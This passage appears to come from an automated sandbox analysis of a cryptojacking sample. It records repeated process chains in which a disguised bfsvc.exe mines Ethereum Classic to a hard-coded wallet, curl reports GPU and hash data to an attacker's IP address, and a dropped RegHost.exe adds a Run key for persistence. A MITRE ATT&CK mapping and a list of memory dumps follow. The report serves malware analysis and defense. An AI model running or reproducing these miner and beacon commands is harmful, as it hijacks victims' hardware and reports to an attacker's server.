        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        72⤵
        
        PID:3604
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        72⤵
        
        PID:3524
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        73⤵
        
        PID:4476
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        73⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:2740
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        74⤵
        
        PID:2108
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        74⤵
        
        PID:1384
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        75⤵
        
        PID:1684
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        75⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:3176
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        76⤵
        
        PID:1304
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        76⤵
        
        PID:1088
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        77⤵
        
        PID:1796
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        77⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:1568
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        78⤵
        
        PID:5076
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        78⤵
        
        PID:1792
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        79⤵
        
        PID:664
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        79⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:4652
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        80⤵
        
        PID:1708
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        80⤵
        
        PID:4820
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        81⤵
        
        PID:4700
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        81⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:660
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        82⤵
        
        PID:848
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        82⤵
        
        PID:4524
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        83⤵
        
        PID:560
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        83⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:1988
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        84⤵
        
        PID:4720
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        84⤵
        
        PID:2984
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        85⤵
        
        PID:3756
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        85⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:804
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        86⤵
        
        PID:3112
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        86⤵
        
        PID:1924
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        87⤵
        
        PID:3784
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        87⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:1632
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        88⤵
        
        PID:2236
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        88⤵
        
        PID:2208
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        89⤵
        
        PID:4156

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/220-323-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/220-154-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/432-171-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/532-330-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/752-242-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/984-266-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/1068-221-0x00007FF6B31D0000-0x00007FF6B36B8000-memory.dmp

Download

memory/1096-157-0x00007FF6B31D0000-0x00007FF6B36B8000-memory.dmp

Download

memory/1124-226-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/1220-250-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/1248-251-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/1436-346-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/1452-371-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/1600-203-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/1620-347-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/1744-227-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/1776-218-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/1816-162-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/1828-133-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/1828-135-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/1840-314-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/1908-146-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/2044-163-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/2172-378-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/2376-258-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/2392-181-0x00007FF6B31D0000-0x00007FF6B36B8000-memory.dmp

Download

memory/2404-306-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/2516-370-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/2588-194-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/2900-213-0x00007FF6B31D0000-0x00007FF6B36B8000-memory.dmp

Download

memory/3120-187-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/3136-235-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/3272-165-0x00007FF6B31D0000-0x00007FF6B36B8000-memory.dmp

Download

memory/3384-219-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/3436-186-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/3444-291-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/3520-322-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/3524-354-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/3524-149-0x00007FF6B31D0000-0x00007FF6B36B8000-memory.dmp

Download

memory/3680-205-0x00007FF6B31D0000-0x00007FF6B36B8000-memory.dmp

Download

memory/3700-197-0x00007FF6B31D0000-0x00007FF6B36B8000-memory.dmp

Download

memory/3828-307-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/3848-387-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/3852-189-0x00007FF6B31D0000-0x00007FF6B36B8000-memory.dmp

Download

memory/3960-298-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/3976-155-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/4048-338-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/4068-147-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/4152-299-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/4172-355-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/4188-211-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/4236-362-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/4244-363-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/4252-243-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/4368-178-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/4488-202-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/4488-290-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/4516-339-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/4516-283-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/4548-315-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/4588-170-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/4652-331-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/4688-259-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/4716-234-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/4720-139-0x00007FF6B31D0000-0x00007FF6B36B8000-memory.dmp

Download

memory/4820-386-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/4828-134-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/4828-136-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/4828-179-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/4844-282-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/4860-210-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/4880-173-0x00007FF6B31D0000-0x00007FF6B36B8000-memory.dmp

Download

memory/4960-274-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/4984-195-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/5052-130-0x00007FF6CB6B0000-0x00007FF6CBB98000-memory.dmp

Download

memory/5064-267-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/5072-229-0x00007FF6B31D0000-0x00007FF6B36B8000-memory.dmp

Download

memory/5076-275-0x0000000140000000-0x000000014002A000-memory.dmp

Download

memory/5076-379-0x0000000140000000-0x000000014002A000-memory.dmp

Download